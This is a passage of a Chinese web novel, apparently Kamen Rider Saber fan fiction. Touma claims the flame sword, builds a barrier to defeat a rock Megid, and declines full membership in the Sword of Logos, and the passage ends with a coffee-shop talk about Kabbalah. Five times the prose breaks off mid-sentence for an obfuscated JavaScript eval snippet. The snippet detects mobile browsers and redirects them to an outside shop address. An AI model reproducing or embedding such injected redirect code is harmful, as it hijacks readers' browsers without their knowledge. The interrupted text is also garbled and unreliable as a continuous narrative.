于是,芽依只好摆摆手,示意自己没事请伦太郎不必管她,然后从地上捡起被撞飞的布包,检查了一下手机和稿子安然无恙,这才一瘸一拐地往回走。心想,所幸是把孩子送出去了,那么眼下,既然自己已经出不去了,那就去找找飞羽真吧! 真是的,他跑哪儿去了? 见芽依走远,伦太郎这才使用他的奇幻驱动书《雄狮战记》,放出了一只巨大的蓝色水狮子,他翻身骑了上去,让水狮子带自己去寻找米吉多气息最为浓郁的地方。 于是,刚刚好,赶上了炎之巨龙降临的时刻。 ——是同伴。 这是《雄狮战记》水狮子传达给伦太郎的,只是伦太郎还有些不明所以,那头龙?是同伴? 只是还不等他细想,答案就直接递到了他的跟前。 就见那头龙周身的鳞片骤然迸发出刺目的红光—— 下一秒,整头龙被熊熊烈焰彻底吞没,火焰冲天而起,几乎要烧裂天空。就在光芒最盛的那一瞬间,龙吟戛然而止,火焰猛地向内坍缩、凝聚,化作一柄通体赤红的长剑,燃烧着余焰,从半空直坠而下! 轰——! 巨大的烟尘裹挟着灼人的热浪迎面扑来,伦太郎下意识地抬起手臂护住眼睛。热风刮过皮肤,带着火焰残留的焦灼气息。 待烟尘渐渐散去,他放下手臂,愣住了。 是刚才自己看漏了吗?原本巨龙所在的位置,竟然站着一个人。 而由龙化作的那柄剑,正直直地插在他身侧——距离仅一步之遥的地砖上。剑身完全没入地面,只剩下剑柄在微微震颤,剑柄上缠绕的火焰仍未熄灭,明明暗暗地吞吐着赤红的火苗。 明明身在战场,可伦太郎的思绪却不由自主地发散起来,他想起了一则在“真理之剑”内部流传了至少有上百年的预言。 ——解明世界之时,龙将唤醒炎之剑。 解明世界……之时? 而那个人,居然跌跌撞撞地,向着插入地面的炎之剑靠近。 “危险!” 伦太郎顿时急了。剑身周围的空气扭曲蒸腾,热浪滚滚,一看便知那里的温度高得吓人——连金属都在燃烧,这个温度,恐怕布料都会自燃,更别说一个大活人了! 就在伦太郎惊恐的注视下,那人赤着手,一把握住了剑柄! ———!!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305114|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刹那间,剑身上的火焰猛地暴涨,冲天而起!灼热的气浪再次以剑为中心炸开,狠狠撞向伦太郎,将他又生生往后推出了两步! “不可能……” 伦太郎喃喃自语,他从未见过如此震撼的一幕。 火焰如同被驯服的野兽般,温顺地向着握剑之人的手缠绕上去,焰光顺着指缝流淌,最终与握剑者的气息融为一体。 一个极为清晰的认知自伦太郎脑海深处浮现—— 失落已久的火焰剑·烈火,再度现世了。而且,它正在认主,剑身发出低沉的嗡鸣,仿佛在欢呼。 伦太郎压下心头的震撼,快步飞奔过去:“喂!你没事吧!” 那人闻声转过身来,而伦太郎下意识地看向他的右手——果然,没有被烫得翻卷的皮肉,甚至连一丝红痕都没有,似乎,一切正常,除了—— “你,不会用剑?” 或许是过于震惊了,伦太郎说话都有些不利索了,他可是个经验丰富的剑士,只从对方的握剑手势和站姿就能判断出,这人没有任何用剑战斗的经验。 心底里,不可抑制地涌起一种难以明言的羡慕。 他隶属于从远古时代起就在暗中保卫世界平衡,管理书与圣剑的组织“真理之剑”,是被水之圣剑——水势剑流水认可的圣剑剑士Blades。一直以来,伦太郎都认为,这是因为他的强大,是他数十年如一日的认真、刻苦和努力的回报。 理所当然地认为,强大的剑,选择强大的剑士,这是很顺理成章的。 但实际上,圣剑们究竟是以什么标准选人的,一直都是个谜。“真理之剑”也一直在研究圣剑们的“喜好”。他们培养大量的剑士,用客观的数量堆出了一代又一代的圣剑剑士。 但,明明都是如此优秀的剑士,而实力这种东西也不是什么可以量化和数值化的,是很暧昧微妙的。但有些人明明显而易见地强大,可就是选不上,而有些人,剑术并不一眼惊艳,可偏偏就能被选上。 共性是什么?是有什么规律吗? “真理之剑”已经传承了千年,然而历经千年的研究,这仍旧是个谜。 ——但,至少,好歹…… ——圣剑你选人,好歹也选个会使用自己的人吧! 伦太郎看着眼前这位新鲜出炉的圣剑剑士Saber,正以生疏的、破绽百出的姿态手握火炎剑烈火,瞳孔地震,世界观重塑中—— 7. 结界 “可恶!居然无视我!” 岩石魔人米吉多愤怒地咆哮着,被接连的几次爆炸和冲击推出去百多米,他好不容易才挣扎着爬回来,一看,两个剑士居然站在那儿聊天! 它操纵起满地的碎石朝着两人胡乱砸去,甚至自己也亲手抱了一块石头起来,囫囵着一起丢了过去! “危险!” 伦太郎大惊失色,赶紧向旁边跳开,同时一剑将飞砸而来的巨石格挡开;而飞羽真的动作也不慢,他看清了石头飞来的轨迹,于是选择原地站定,反正没有一块能砸中他。对面这个米吉多的准头不太行啊,大概是因为受了伤吧,集中力不够了,于是这种用念力丢石头的攻击就有些胡乱出手的意思了。 “不能战斗的话就赶紧去避难吧!” 伦太郎决定将眼前这个新鲜出炉的Saber劝离,待在战场上多危险,自己还得分心去关注他,还是让他远离战场为好。 “嗯……” 飞羽真闻言,先是了然地点头。接着,他手腕一翻,看似随意地将剑身直立起来,稳稳地竖在面前。 剑身笔直,纹丝不动。 伦太郎目光微凝—— 这一手……单凭手腕就能将这样一把剑稳稳竖起,腕力相当不错。 伦太郎在心中暗暗点评,他不否认,确实是挺好奇的,因为圣剑还真不是随便认主的,不然“真理之剑”也不必辛苦那么多年了,这个Saber必然有可取之处,只是自己尚未发觉罢了。 ……总不能真是随机的吧,不能够吧。 伦太郎下意识地不想否定自己多年来的努力。 如果飞羽真知道伦太郎在想什么,大概就会解释说,因为他是写小说的文字工作者,腕力强很合理—— 合不合理姑且不论,但如果飞羽真真就这么解释了,那么伦太郎接受这个解释的概率是接近百分百的。因为伦太郎是一名孤儿,自小就被“真理之剑”抚养长大,而“真理之剑”是个超脱于世外的一个组织,这就导致伦太郎平时和外界接触的机会也不多。特殊的成长环境就导致伦太郎的常识与普通人的常识略有不同,或许就会因为飞羽真的信誓旦旦而真的信了他…… 的鬼话。 飞羽真就这样稳稳地持着剑,沉默半晌,脸上突然浮现出一丝笑意,他转头对伦太郎道:“虽然我确实不能战斗,但我应该可以帮上一些小忙。” 完全被无视,被晾在了一边的岩石魔像米吉多,见状简直要气疯了—— 自己的攻击落空了,敌人还当着他的面在那儿聊天。 可恶,一定要将这两个该死的剑士砸成肉泥,碾成肉沫,不然难消心头之恨! 但,就在岩石魔像米吉多重整旗鼓,再次朝两人冲来的同时,就见原本还举着剑,一副肃穆模样的路人剑士,突然倒转剑尖,将剑直直地刺入大地。 ——! 一声异响贯穿了天际。 事后回想,伦太郎才意识到,那声音,似乎就是翻动书页的动静。 周围的环境也随之发生了变化,现代化的城市街景消失不见了,充满童趣的奇幻世界也消失不见了,取而代之的是一片无边无际的荒漠。伦太郎能清晰地感知到脚下坚实的石板路变成了沙地,那种软绵绵的、有些使不上劲的触感。 “什——!” 伦太郎还是第一次经历这种生硬的场景切换,和书之魔人米吉多布置结界导致的环境变化完全不同,没有任何过渡,也没有渐变,除了那一声翻动书页的异响,就没有任何预兆了。 “这是?” 伦太郎第一时间看向导致这一切变化的家伙,很明显,这一切都是在火焰剑烈火被Saber插入地面后发生的。 “这是火焰剑烈火的特殊能力。”飞羽真把剑从沙堆里拔起,还是那副没有任何用剑经验的模样,言简意赅地解释道:“布置了结界,可以避免战斗损害,还能把无关人员排除出去。” 毕竟,米吉多布置的结界就这么大,不幸被框选在其中的路人虽然都跑开了,但也跑不了多远,都是就近找了地方躲藏起来了。如果不管不顾地打起来,也难保不会殃及路人。 伦太郎已经惊讶到有点麻木了。 圣剑的特殊能力?他从未听说过啊!他只知道,圣剑可以和诸多奇幻驱动书联动,引发各种神奇的效果……难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305115|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,剑本身也有特殊效果吗? “总之,我能做的就这些了。”飞羽真示意不远处的怪物,对伦太郎微笑道,“接下来,还是交给您这位专业人士来处理吧。” ********* “怎么回事?!” 拉结尔瞪着投射在小房间中央的光幕,低声怒骂道。毕竟,此次派出作战的米吉多是他的部下,作为掌管“幻兽”的米吉多,所有以描写神话生物或奇幻生物为主题的魔改驱动书都在他的管辖之内。而此刻,他的部下居然凭空消失不见了。 他转头要问斯特里乌斯,却见斯特里乌斯已经走到了灵摆架旁,低头看着挂在灵摆架中央的木质断手。这是他们用来制造魔改驱动书的装置,通过布置书之结界来销蚀现实世界,而销蚀现实世界产生的“溶解液”则被他们摄取,用来当墨水,撰写新书——新的魔改驱动书。 然而此刻,那木质断手已经不动了,笔尖凝滞在了暗棕色的牛皮纸上。 “……被阻碍了。”斯特里乌斯轻声说着明眼人都能发现的诡异。 “可明明结界还在!” 拉结尔激动地在小房间里来回踱步。他很清楚,书之结界是由张开结界的米吉多维持的,只要米吉多,或者说,作为其本命的魔改驱动书不被破坏,结界就不会消失。 反过来说,只要结界没有消失,那就意味着米吉多还活着,可它就是不见了,凭空消失了。而更可恶的是,销蚀世界的进度也像是被按下了暂停键,没有了“溶解液”的补充,他们制作魔改驱动书的进度也被拖住了。 “唔……看来是有人在结界内又设置了一层结界呢。” 斯特里乌斯直起身来,抱起双臂,手指拂过唇角,喃喃自语道:“刚才,在场的人有……水之剑士Blades和炎之剑士Saber。” 接着,他回头看向一直都沉默地立在阴影中,如同雕塑般的全甲剑士。 “你怎么看?Calibur?” 掌管着“故事”的书之魔人绕过沙发,走到那剑士面前,贴近到双方都能一剑捅死对方的距离,轻声笑道:“……或者说,前代炎之剑士Saber?” 8. 支点 “呼……” Calibur冷哼一声,从斯特里乌斯身边走过,来到矮桌前站定,看着那已然空无一人的街景。 “我也不清楚呢……不过,” 他转过身来,看向屋子里的三个米吉多,书之魔人的首领,说道:“倒是有趣的家伙,或许,我该找个时间去会一会他。” “是吗?”斯特里乌斯走到房间另一侧的墙边,在一副挂画之下停住了脚步。 “那我想,你可以带上这家伙。” 说着,斯特里乌斯抬手按了按墙上那幅画。画框无声地陷入墙壁,随即缓缓升起,露出背后的金属门。 金属门伴随着沉闷的机械咬合声向内打开——门的厚度远超想象。 门后,竟又是一扇金属门。 又是一道开启的闷响。 接连三次。待第三扇门完全退入墙体,露出的却不是什么密室,而是一条漆黑的管道——狭窄得只容一人匍匐通过,大小如同老式公寓的送餐口。 然而管道深处,赫然陈列着一排排微缩的书架,密密麻麻,一眼望不到尽头。 这是他们这些年来的成果,是准备用来缔造新世界的基石。原本的世界他们不喜欢,所以他们打算将原世界的砖块拆下,然后换上他们喜欢的。 黑暗中,有一排书架伴随着吱吱呀呀的异响,移动到了“门口”,斯特里乌斯从书架上取下一本封面为黄褐色的魔改驱动书,转身交给了Calibur。 “拿着吧,天灾,它会是很优秀的战力。” Calibur也毫不客气地一把把书接了过来,又看向斯特里乌斯。 “你的眼线?” 斯特里乌斯轻佻眉梢。 “你不希望我们看到吗?” 话音落下,屋里其他两位书之魔人的不信任目光立即就射向了Calibur。 他们打一开始就不信任这个自说自话跑来说要合作的剑士,毕竟,双方所属的阵营已经互殴了两千多年了。即便对方说他叛出了“真理之剑”,书之魔人也不可能立时就相信他,但斯特里乌斯却说没关系。 “如果你不介意被我们利用的话,我们也可以合作。” 斯特里乌斯当时是这样和Calibur交涉的。 “我来寻求合作,就是因为我也需要你们的力量。” Calibur是如此回应的。 于是,同盟的协议就这么达成了,虽然拉结尔和兹奥斯还是觉得对方就一个圣剑剑士,不是己方三人的对手,双方的实力根本就不对等,怎么可能达成合作。 但斯特里乌斯却说,他觉得很有趣,毕竟千年的时光着实无聊,当个乐子看看也未尝不可。 于是,在沉寂数息之后,斯特里乌斯才笑着回道:“不必这么防备,我们不是同伴么……更何况,恐怕到时候我们就算想看也看不到呢。” ************** 岩石魔人米吉多总算是意识到了,自己究竟陷入了一种怎样艰难而危险的境地,就在他发现自己身上的伤几乎无法愈合的时候—— 没错,它身上的伤,原本都是可以很快愈合的,哪怕半边身体都被打碎了也没关系。因为魔改驱动书之于米吉多,就如同本命魂匣之于巫妖,只要它的魔改驱动书还完好无损,就能很快复原。 也就是说,米吉多的行动和战斗,所有的能量都是由魔改驱动书供给的,也因此,魔改驱动书不能离米吉多太远。通常,米吉多都会把魔改驱动书随身携带,大多会把书藏在体内的核心处,方便它带着到处跑。除非是驻守一地的米吉多,倒是可以在附近找个隐蔽的地方,把自己的魔改驱动书藏起来。 所以剑士们消灭米吉多的方法,就是将米吉多切开,然后在它自愈之前,迅速找出魔改驱动书并将其破坏,当然,如果足够强大,攻击的伤害足够高,把米吉多连带它体内的魔改驱动书一并击毁也是可以的。 总之,如果只是单纯击伤米吉多本身是没有意义的。 但现在…… 岩石魔人米吉多在水之剑士的攻击下左冲右突,然而却无法摆脱他的纠缠,甚至无法找到反击的窗口,只能仗着极强的防御力,在对方的攻击下保护自己的魔改驱动书。 除此之外,别说伤口愈合的速度了,连自身的行动也开始变得迟缓了。 这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305116|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从未有过的情况,难道…… 被剑刃激发的蓝色雄狮当胸一击,岩石魔人米吉多直直地倒飞了出去,落地后又顺着沙丘滚落。它挣扎着起身,又把碗状头顶里的沙子尽数甩出去,正狼狈间,忽然,它瞥见了一个人影,与此同时,一道灵光自脑内闪过。 要说和之前的战斗有什么变化,就是那个Saber,以及这片诡异的空间。 难道,发生在自己身上的异状,是这个空间在搞鬼? 如果说,这诡异的空间和他们米吉多张开的书之结界是类似的,那么…… 结界要成立,是需要支点的! 因为这片空间和原本的世界不同,为了维持这种不同,是需要能量源的,是要消耗能量的! 岩石魔人米吉多眼底里有凶光闪过—— 支点是什么?是Saber的剑?还是他的奇幻驱动书?还是…… Saber本身? 无所谓无所谓,干脆全部毁掉就好啦! 这个Saber很明显不是“真理之剑”训练出来的剑士,没有丝毫的战斗经验,猝然被攻击,恐怕直到被击中都没反应过来吧! 周围没有可供利用的石头,只有无边无际的黄沙,可是,没关系!因为我本身就是石头啊哈哈哈哈哈——! 岩石魔人米吉多狞笑着,扯下了自己的一条手臂,向着飞羽真掷去!同时用念力加速,让石臂飞出了如同炮弹般的速度! 去死吧,Saber! “勇气之龙——” 轰——! 伴随着一声巨响,黄沙被炸上了数米的高空,将飞羽真的身形整个吞没!只是,岩石魔人米吉多还没来得及高兴,水之圣剑的剑锋已然指到了它的胸前。 什么——? 剧烈的撕扯感,紧随而来的就是脱力般的麻木,岩石魔人米吉多维持着惊愕的表情,就如一尊真正的石像般轰然倒地,接着,散作了一地的石头碎渣。 在最后的一刻,它看到了,沙尘散尽之后,一双合拢的龙爪,以及护于龙爪之下的身影。 Saber。 他脸上挂着毫不掩饰的,计划得逞的笑容。 9. 因为我是个小说家呀 “我确实不能战斗,所以,我会是很好的诱饵,让敌人的行动变得可预料。” “就看它什么时候发现这个地方对它有多不利,应该尽快将我击杀,破除结界。” “当它发现这一点时,就是它转移注意力的时候。” “会是很好的攻击窗口。” 伦太郎甩去剑身上的尘土,心里仍在回忆Saber之前趁米吉多还在因为场景切换而恍神时,对自己说过的话。 此时,荒漠的景象正在消退,现代化城市的大街再度浮现。街面上,大楼上的销蚀进程已然终止,只是,已经被销蚀掉的部分就无法恢复了,所以地面上坑坑洼洼的,大楼也直接成了危楼,甚至还在窸窸窣窣地往下掉碎渣滓。 伦太郎看着Saber的方向,踌躇了半晌,正要走上前去,忽地听到一个耳熟的声音由远及近—— “喂——!飞羽真!” 芽依一边招手一边踉踉跄跄地跑来,她先是上下打量了飞羽真一番,确认他无碍,又发现了他提在手中华丽锃亮的剑,正好奇地一边问一边上手去摸。 伦太郎停住了脚步,正观望着,也就在这个时候,他接到了来自“真理之剑”的通讯。 “……是,我明白了。” 伦太郎挂了通讯,收起了剑,先是整理了一下微乱的衣角,然后上前去搭话道: “那个,打扰了。” 芽依扭头一看,发现正是自己刚才在书前撞上的人,于是赶紧和伦太郎补上道歉。 “刚才真是不好意思!” “哦,这没什么,我没事。” 伦太郎也赶紧回礼,接着他看向Saber,自我介绍道:“你好,我是新堂伦太郎,是隶属‘真理之剑’的剑士,能否请您借一步说话呢?” 奇幻小说家和奇幻杂志编辑对望一眼,都从对方眼中看出了“这展开好眼熟啊”的感叹,两人都不由笑了。 只留下伦太郎一脸茫然,不知道他俩心有灵犀地在笑什么。 ********** “哇,真有这种奇幻故事一样的展开啊!飞羽真你太厉害了!” 尽管芽依已经努力压低声音了,但声线中的兴奋那是藏都藏不住。 飞羽真也小声地回道:“就是啊。” 很快,伦太郎带着两人来到走廊尽头的一扇木门前,是一扇双开的大门,门上刻有一个圆形的纹章,想必就是“真理之剑”的徽章。 “请进。” 伦太郎温声道,他没有去推门,是门自己朝着两边打开的,但又不是自动门的动静,十分神奇。 飞羽真站在逐渐打开的门前,目光落向屋内大厅高处那一抹白色的身影。然而最先吸引他视线的,却是另一个人——圆桌旁的一抹身影仿佛有种莫名的牵引力,让他不由自主地多看了一眼。 只是一瞬。 随即他抬起头,看向理应更加显眼的、站在高处的白衣女子。 “欢迎来到‘真理之剑’北方基地,我是这里的守书人——索菲亚。” 那白衣女子如此自我介绍。接着,又向飞羽真和芽依两人介绍了有关真理之剑,有关圣剑,奇幻驱动书,魔改驱动书与米吉多的事。 “……所以,我代表‘真理之剑’,想要招募您加入我们,成为‘真理之剑’的炎之剑士,Saber。” “为了,这个世界。” 话音落下,大厅内的数道视线都投向了飞羽真。 和芽依猛然听了那么多的奇幻照进现实的隐秘而感到无比亢奋不同,飞羽真的脸上没什么太多的情绪,像是在思考,或是在走神。 然后,他的目光逐渐由涣散转为凝实,抬头对索菲亚说道:“如果,正如您所说的,我们的世界现在正处于书之魔人米吉多的威胁之中,那么,作为被炎之圣剑选中的剑士,同时也是生活在这个世界中的人,在对抗书之魔人这件事上,我义不容辞。” 这个起手式一屋子的人都听懂了,飞羽真虽然说他“义不容辞”,但,这句话还未收尾,那么下半句就是转折了。 果然,就听他换了口气,接着说道:“只是,我也有我的本职工作,我是个写小说的,习惯了自己安排时间,平时要写稿子,还要经营一家书店,全职加入组织恐怕做不到,希望你们能理解。不过,只要战斗需要我,我就会来。” 听飞羽真这么说,芽依脸上又是高兴又是遗憾的,她是在飞羽真说到他要写稿子才反应过来的,她还要飞羽真写稿子呢!但又有些遗憾,如此奇遇,飞羽真居然就放弃了。 而伦太郎在惊讶过后就陷入了沉默,因为在他看来,飞羽真对“真理之剑”是很感兴趣的,骤然得知他并不打算加入,又是惊讶,又是失落。 索菲亚倒也没有要强人所难的意思,她静谧地微笑着,点了点头:“我明白了,至少,我们可以是伙伴。” 飞羽真也微笑着回应道:“对,是伙伴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305117|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人也不多留,简单地和房间里的众人告辞,也就离开了。因为是伦太郎用书之门接飞羽真和芽依两人进入的北方基地,所以也是由他引路送两人离开。 大厅里顿时安静了下来,直到—— “Espada,你不打算和Saber聊聊吗?” 索菲亚脸上淡然的表情收起,有些担忧地看向被她称作“Espada”的剑士。 她知道的,雷之剑士Espada与Saber有旧,好像是小时候的玩伴,这还是Espada刚刚才同她说的。他说他很高兴,原以为飞羽真已经在十五年前的那场意外中去世了,没想到他还活着,真是太好了。 ……虽然他没有认出自己,但,想来,毕竟已经十五年没见了,大家都从孩子长成大人了,认不出来也实属正常。 “不,不了,等有机会再说吧。” 居然,有种近乡情怯的感觉?亦或许是愧疚? 毕竟,和米吉多战斗是件危险的事,但……还是把他牵扯进来了。 就如十五年前那样。 ********** 另一边,伦太郎打开书之门,将飞羽真和芽依两人送出了北方基地。 “辛苦了。”飞羽真向伦太郎道谢,戴上帽子就准备回书店。 “那个,等一下。” 伦太郎想了又想,他想了整整一路,终于还是出声拦下了飞羽真。 见飞羽真投来询问的目光,伦太郎顿时有些不好意思了,但还是开口道:“那,既然我们已经是伙伴了的话,我可不可以问你一下有关……那片荒漠的事?” “哦,那个,”飞羽真也不打算藏私,他解释道:“那是用火焰剑烈火制造的结界,是圣剑本身的特殊能力。” “但……” 伦太郎更加困惑了,飞羽真就只是个普通人,从未接触过“另一个世界”,他是怎么知道的?还能用得如此熟练? 他自己身为“真理之剑”的圣剑剑士都不知道! 毕竟,他也亲眼目睹了火焰剑落下并认主的整个过程,和“真理之剑”内部的圣剑认主流程完全不同,或许,就是因为这些不同,导致Saber得到了额外的知识? “嗯?我怎么知道的?” 飞羽真一愣,他仔细想了想,然后笑着道:“我当然会知道啊,因为……” “我是写奇幻小说的小说家呀。” 伦太郎:“……??” 10. 幻觉 伦太郎也不清楚这究竟是何种展开,总之,今天才刚刚认识的小说家和杂志编辑力邀他去喝下午茶。 下午茶? 对于伦太郎而言,这还真是个陌生的词,之前他只在书上见到过,说实在的,他还真有些好奇。于是半推半就地,就被俩人带到了大街上。 而此时,刚好是饭点过后的下午两点,春日里的阳光斜斜地洒在露天座位上,光线暖洋洋的,又不刺眼。遮阳伞投下一小片阴影,伞下的铁艺桌椅被晒得微微发烫,但坐上去刚刚好。这地方有些偏僻,当然,是飞羽真特意挑选的,周围很安静,路上也没什么行人,只偶尔有几声鸟叫从街边的梧桐树上传来。 芽依带着有些拘谨的伦太郎坐到桌边,而飞羽真则进店去点单,没一会儿,他就拿了三杯咖啡出来,伦太郎正要起身,就被芽依眼疾手快按了回去。 咖啡店的店长也在这个时候把切好的小蛋糕端了出来,在三位客人面前放好,就转身回了店里。 “坐下来,边喝边聊多好啊,总不能站着说话吧。” 飞羽真笑着,示意伦太郎尝尝,这家店的咖啡和蛋糕搭配着吃非常香。 “谢谢。” 伦太郎盛情难却,只能先尝了一口蛋糕,然后一口咖啡,顿时,惊为天人! 不过,他还是放下了金属小叉,正襟危坐起来。他可没忘记他刚才的提问,也没忘记飞羽真给到他的,那个匪夷所思的答案。 他说他会知道圣剑的特殊能力,是因为—— “我是写奇幻小说的小说家呀。” 然而伦太郎完全搞不明白这两者之间有什么因果关系。 飞羽真先是给自己补充了点糖分,毕竟“忙”了一个上午了,然后继续之前的对话,对伦太郎解释道:“是这样的。写奇幻小说,难免会涉及到剑与魔法这类的设定。如果只是随便写写,那倒没什么,但想要写得有说服力,让读者觉得‘哦,这个设定是自洽的’,作者自己心里就得有一套完整的体系。但,如果要自创一个体系,会非常麻烦,而且吃力不讨好,读者们未必买账。所以,我们通常都是用现成的。” 他顿了顿,继续说:“写东西之前,我会有针对性地去查很多神秘学相关的资料。卡巴拉、炼金术、塔罗、卢恩符文……这些流传下来的体系,少说也有几百上千年的历史,早就被无数人完善过,逻辑上是能够自圆其说的。” “然后呢,写小说的时候,我就会把这些体系作为参考——比如设定某个魔法为什么比另一个强,克制关系是怎么来的,只要往这些现成的理论上靠,读者读起来就会觉得有根有据,不会觉得是作者在瞎编。” 说到这儿,飞羽真总结道:“所以,我虽然是个写小说的,但神秘学方面的知识,确实还算扎实。看到圣剑的时候,它的形态、它的特质——自然就能猜出它的能力。” 说着,他拿起火焰剑烈火,将它平放在了桌面上。 “火剑,单就这一个要素,就能让人联想到卡巴拉生命之树体系中的‘火剑之路’——那是象征灵性觉醒与向上提升的路径。” “而火焰剑,本身就与其中的一个质点对应。基于此,我当时就猜测,它的能力应该是与‘界限’相关。” 伦太郎了然地微微点头:“所以,你想到了制造结界。” “对,很直白,简直是放在明面上的答案。”飞羽真喝了一口咖啡,接着说道:“当时,圣剑给了我明确的反馈,我也很庆幸我猜对了。” 伦太郎手肘支在桌面上,双手交握,缓缓搓动着,像是在犹豫,内心在挣扎。 “我,我确实是不知道这方面的知识。” 伦太郎自认也是“真理之剑”内知识水平相当之高的一位剑士了,毕竟“真理之剑”的藏书规模绝对是世间数一数二的,而伦太郎自小就喜欢读书,还不是那种一目十行,看过就算的,而是认认真真地学习了大量的知识,即便如此,仍有缺口—— 飞羽真看伦太郎的小动作,大概就猜到他在纠结什么了,于是安慰道:“很正常,神秘学在当今社会相当小众,正常生活,工作学习,都不太会接触到,最多就小说、影视剧、动画里可能会提一嘴,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305118|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会太过深入。也就我这种写小说的,因为职业需要所以才会刻意地去学习相关内容。” 伦太郎的眉头仍未舒展,他犹豫着,有些心虚地开口道:“那么,如果是水之圣剑……?” 他感觉自己仿佛是个在考场上求学霸给他递小抄的坏孩子。 “水之圣剑的话……”飞羽真一边回忆着,一边观察伦太郎的神情,只觉得他似乎是带着某种期待? 飞羽真想了想,谨慎地解释道:“如果是卡巴拉生命树体系的话,水元素代表了多个质点,无法对应到唯一的一个质点。这个和火焰剑的情况是不一样的。 “但是,天体和质点是可以一一对应的,所以我猜测,你的水之剑,这个‘水’代表的可能不是四元素中的水元素,而是指天体——水星。 “那么,与水星对应的质点是Hod,也就是荣耀。 “如果是荣耀的话,我想,你的水之圣剑的特殊能力,应该是制造幻觉。” “幻觉?”听到飞羽真的结论,伦太郎脸上的表情就是一滞。 飞羽真点头,又补充道:“对,而且,特指视觉上,或者说光学上的幻觉,也就是制造虚像。像是制造镜面反射,或者是海市蜃楼。” 听起来,这并不强。 伦太郎原本是带有一丝期望的,他期待过,如果他的圣剑有隐藏的特殊能力的话,他希望这种能力能增强他的战斗力。 他热切地,急切地想要变强,因为—— 复仇。 他要复仇,向杀死了他的师傅的米吉多复仇。 他需要力量。 可是,飞羽真的推论让他的希望落空了。 制造幻觉,听上去就很奇技淫巧,如果不是有充分的事前准备,很难说在瞬息万变的战场上能发挥什么作用。 眼见伦太郎脸上浮现出越来越多的失望,飞羽真只好劝道:“其实,这个能力也有可取之处。像是在希腊神话中,珀尔修斯就是用抛光的青铜盾牌,利用镜面反射击杀了美杜莎,这个战绩也是相当亮眼的,甚至都成为神话传说了。” 11. 招募 伦太郎神情落寞地告辞离开了,而芽依也在吃完她的那份饮料和蛋糕后就起身告辞,她要回编辑部打卡下班了。 “嗯,身上的伤……最好还是处理一下吧。” 飞羽真提醒道,指了指芽依的手肘。 其实,刚才伦太郎邀请他们去“真理之剑”北方基地的时候,飞羽真就劝过芽依,让她先去处理一下身上的伤,但芽依坚决不肯,非要跟着一起去。作为一名奇幻杂志的编辑,面对如此奇遇,还有那个神秘的隐士组织“真理之剑”,芽依当然是好奇的,想去一探究竟。与之相比,身上那点小小擦伤当然就不值一提了。 于是拖到了现在,伤口早就结痂了。 “嗯,知道了。” 芽依也明白这是飞羽真的善意,她点头应下,拿起包就离开了。 飞羽真在咖啡店外坐到了太阳西斜,才起身返回书店,自由职业者就是可以为所欲为的。 回到书店,飞羽真先是检查了一下外面的信箱,见没有什么东西,才拿钥匙开门走进了书店,坐回到柜台后面去。 “……” 飞羽真有些放空地靠在椅背上,抬头看天花板。 视线仍在。 无论是他进入了米吉多创造的书之结界,还是之后他在书之结界中再开了一个结界,两层结界都没能拦住,被什么注视着的感觉从未消失,这种感觉从上午一直持续到了现在。 是谁在看我? 虽然直至目前,感觉不到视线主人的恶意,但是…… 总有被冒犯了的感觉。 可对方没有丝毫要现身的意思,飞羽真也没有切实地抓到视线的来源,所以也只能暂时作罢。 